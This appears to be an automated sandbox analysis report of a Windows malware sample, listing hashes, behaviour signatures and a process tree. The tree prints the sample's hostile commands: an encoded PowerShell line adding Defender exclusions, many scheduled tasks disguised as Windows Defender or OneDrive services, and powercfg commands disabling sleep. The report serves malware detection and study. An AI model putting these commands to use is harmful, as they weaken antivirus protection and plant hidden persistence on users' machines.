Analysis

  • max time kernel
    88s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/03/2023, 09:37

General

  • Target

    af10d21b78b037e5da09c0ad45a8adfc99cc48dfe6b4918c0bd50f8d1ae1da4d.exe

  • Size

    2.2MB

  • MD5

    c63c31c00fd154c51586b4530dd3288d

  • SHA1

    8002b2068741c516bdacc95691b6054da55ade04

  • SHA256

    af10d21b78b037e5da09c0ad45a8adfc99cc48dfe6b4918c0bd50f8d1ae1da4d

  • SHA512

    79ef2dac0746d2775a7c9f42cadb1e92cffcf07b38835100430996053f8dcfa8dc691c44a9aee37505ca30fce53a7e41bd2acd0b66b4f84ef1a3aa847d4e5c0a

  • SSDEEP

    24576:l1nGcQqkAzoeFrM0lKRTb6Ux8FRiWs5SVP6YqX3QsnjDX6zmkSpTi6i:HGDqroI7iX4R05SVI/D37P

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af10d21b78b037e5da09c0ad45a8adfc99cc48dfe6b4918c0bd50f8d1ae1da4d.exe
    "C:\Users\Admin\AppData\Local\Temp\af10d21b78b037e5da09c0ad45a8adfc99cc48dfe6b4918c0bd50f8d1ae1da4d.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe
      "C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C powershell -EncodedCommand "PAAjAHYAbgBrAEcAdgBTAEIAdwBYAEEAVwBqAHoAawBsAE8ARwBFAEEAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBYAEIAcQBZAGEASQBOAGIATQBvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBCAHgAYgByAG0AdABEAFkATABqAGgAIwA+ACAAQAAoACAAPAAjAHMASgB6AE0AVABlAEQAdABVAEsAYQAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAVwBVAHUAZgBSAGUAVAB1AFgAdQBpAFQAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQApACAAPAAjAHkAcwBwAHAAcQBrAEkASgBCAE4AbABXAHcAeABTAFEASgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAbwBhAGMAcwB5AHgAVQBIAGoAbAB0AFkAcwAjAD4A"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "PAAjAHYAbgBrAEcAdgBTAEIAdwBYAEEAVwBqAHoAawBsAE8ARwBFAEEAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBYAEIAcQBZAGEASQBOAGIATQBvACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBCAHgAYgByAG0AdABEAFkATABqAGgAIwA+ACAAQAAoACAAPAAjAHMASgB6AE0AVABlAEQAdABVAEsAYQAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAVwBVAHUAZgBSAGUAVAB1AFgAdQBpAFQAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQApACAAPAAjAHkAcwBwAHAAcQBrAEkASgBCAE4AbABXAHcAeABTAFEASgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAbwBhAGMAcwB5AHgAVQBIAGoAbAB0AFkAcwAjAD4A"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:964
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2368
        • C:\Windows\SysWOW64\schtasks.exe
          SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
          4⤵
          • Creates scheduled task(s)
          PID:3472
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\SysWOW64\schtasks.exe
          SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
          4⤵
          • Creates scheduled task(s)
          PID:1456
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
        3⤵
          PID:4788
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
            4⤵
            • Creates scheduled task(s)
            PID:640
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk438" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
          3⤵
            PID:2964
            • C:\Windows\SysWOW64\schtasks.exe
              SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk438" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
              4⤵
              • Creates scheduled task(s)
              PID:656
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk664" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
            3⤵
              PID:3724
              • C:\Windows\SysWOW64\schtasks.exe
                SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk664" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                4⤵
                • Creates scheduled task(s)
                PID:884
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk798" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
              3⤵
                PID:3548
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk798" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                  4⤵
                  • Creates scheduled task(s)
                  PID:2672
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
                3⤵
                  PID:3780
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
                    4⤵
                    • Creates scheduled task(s)
                    PID:3832
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /C powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off & SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                  3⤵
                    PID:3148
                    • C:\Windows\SysWOW64\powercfg.exe
                      powercfg /x -hibernate-timeout-ac 0
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3200
                    • C:\Windows\SysWOW64\powercfg.exe
                      powercfg /x -hibernate-timeout-dc 0
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2168
                    • C:\Windows\SysWOW64\powercfg.exe
                      powercfg /x -standby-timeout-ac 0
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3836
                    • C:\Windows\SysWOW64\powercfg.exe
                      powercfg /x -standby-timeout-dc 0
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2224
                    • C:\Windows\SysWOW64\powercfg.exe
                      powercfg /hibernate off
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2292
                    • C:\Windows\SysWOW64\schtasks.exe
                      SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                      4⤵
                      • Creates scheduled task(s)
                      PID:2580
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk483" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                    3⤵
                      PID:3648
                      • C:\Windows\SysWOW64\schtasks.exe
                        SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk483" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                        4⤵
                        • Creates scheduled task(s)
                        PID:1420
                    • C:\Windows\SysWOW64\cmd.exe
                      "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk892" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                      3⤵
                        PID:2524
                        • C:\Windows\SysWOW64\schtasks.exe
                          SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk892" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                          4⤵
                          • Creates scheduled task(s)
                          PID:1888
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                        3⤵
                          PID:3608
                          • C:\Windows\SysWOW64\schtasks.exe
                            SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                            4⤵
                            • Creates scheduled task(s)
                            PID:2100
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                          3⤵
                            PID:2044
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                              4⤵
                              • Creates scheduled task(s)
                              PID:1808
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1696
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                              4⤵
                              • Creates scheduled task(s)
                              PID:4400
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4984
                            • C:\Windows\SysWOW64\schtasks.exe
                              SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                              4⤵
                              • Creates scheduled task(s)
                              PID:624
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                            3⤵
                              PID:60
                              • C:\Windows\SysWOW64\schtasks.exe
                                SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
                                4⤵
                                • Creates scheduled task(s)
                                PID:4656

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe

                          Filesize

                          452KB

                          MD5

                          8968a853030759bffee4c0a22d764661

                          SHA1

                          85997edc5bba7584be08a73b46b9b3ebdc17da10

                          SHA256

                          15ffc62b61eff8abc943bac74849cbc16d6314b03e7851714797b76447a46d76

                          SHA512

                          8da3529932bf62b80670138cdc13396fd872d75d19d8981a378cd8dcd571d260017d5d3caf73f9c118bae4f66facc5a686d4aca19162f652c4f44bac1ec95749

                        • C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe

                          Filesize

                          452KB

                          MD5

                          8968a853030759bffee4c0a22d764661

                          SHA1

                          85997edc5bba7584be08a73b46b9b3ebdc17da10

                          SHA256

                          15ffc62b61eff8abc943bac74849cbc16d6314b03e7851714797b76447a46d76

                          SHA512

                          8da3529932bf62b80670138cdc13396fd872d75d19d8981a378cd8dcd571d260017d5d3caf73f9c118bae4f66facc5a686d4aca19162f652c4f44bac1ec95749

                        • C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe

                          Filesize

                          452KB

                          MD5

                          8968a853030759bffee4c0a22d764661

                          SHA1

                          85997edc5bba7584be08a73b46b9b3ebdc17da10

                          SHA256

                          15ffc62b61eff8abc943bac74849cbc16d6314b03e7851714797b76447a46d76

                          SHA512

                          8da3529932bf62b80670138cdc13396fd872d75d19d8981a378cd8dcd571d260017d5d3caf73f9c118bae4f66facc5a686d4aca19162f652c4f44bac1ec95749

                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p0yz2oh1.avf.ps1

                          Filesize

                          60B

                          MD5

                          d17fe0a3f47be24a6453e9ef58c94641

                          SHA1

                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                          SHA256

                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                          SHA512

                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                        • memory/220-150-0x0000000007650000-0x0000000007660000-memory.dmp

                          Filesize

                          64KB

                        • memory/220-193-0x0000000007650000-0x0000000007660000-memory.dmp

                          Filesize

                          64KB

                        • memory/220-151-0x0000000009360000-0x00000000093C6000-memory.dmp

                          Filesize

                          408KB

                        • memory/220-148-0x00000000006A0000-0x0000000000718000-memory.dmp

                          Filesize

                          480KB

                        • memory/644-149-0x0000000008290000-0x000000000829A000-memory.dmp

                          Filesize

                          40KB

                        • memory/644-135-0x0000000007340000-0x00000000073D2000-memory.dmp

                          Filesize

                          584KB

                        • memory/644-137-0x00000000075D0000-0x00000000075E0000-memory.dmp

                          Filesize

                          64KB

                        • memory/644-134-0x0000000007810000-0x0000000007DB4000-memory.dmp

                          Filesize

                          5.6MB

                        • memory/644-133-0x0000000000260000-0x00000000004A2000-memory.dmp

                          Filesize

                          2.3MB

                        • memory/964-174-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/964-187-0x0000000006A30000-0x0000000006A4E000-memory.dmp

                          Filesize

                          120KB

                        • memory/964-157-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/964-155-0x00000000054C0000-0x00000000054E2000-memory.dmp

                          Filesize

                          136KB

                        • memory/964-158-0x0000000005BD0000-0x0000000005C36000-memory.dmp

                          Filesize

                          408KB

                        • memory/964-168-0x0000000006470000-0x000000000648E000-memory.dmp

                          Filesize

                          120KB

                        • memory/964-154-0x00000000055A0000-0x0000000005BC8000-memory.dmp

                          Filesize

                          6.2MB

                        • memory/964-175-0x0000000006A50000-0x0000000006A82000-memory.dmp

                          Filesize

                          200KB

                        • memory/964-177-0x000000006FF80000-0x000000006FFCC000-memory.dmp

                          Filesize

                          304KB

                        • memory/964-156-0x0000000002BA0000-0x0000000002BB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/964-188-0x0000000007DD0000-0x000000000844A000-memory.dmp

                          Filesize

                          6.5MB

                        • memory/964-189-0x0000000007790000-0x00000000077AA000-memory.dmp

                          Filesize

                          104KB

                        • memory/964-190-0x000000007F1C0000-0x000000007F1D0000-memory.dmp

                          Filesize

                          64KB

                        • memory/964-191-0x0000000007800000-0x000000000780A000-memory.dmp

                          Filesize

                          40KB

                        • memory/964-192-0x0000000007A20000-0x0000000007AB6000-memory.dmp

                          Filesize

                          600KB

                        • memory/964-153-0x0000000002B60000-0x0000000002B96000-memory.dmp

                          Filesize

                          216KB

                        • memory/964-194-0x00000000079D0000-0x00000000079DE000-memory.dmp

                          Filesize

                          56KB

                        • memory/964-195-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

                          Filesize

                          104KB

                        • memory/964-196-0x0000000007A10000-0x0000000007A18000-memory.dmp

                          Filesize

                          32KB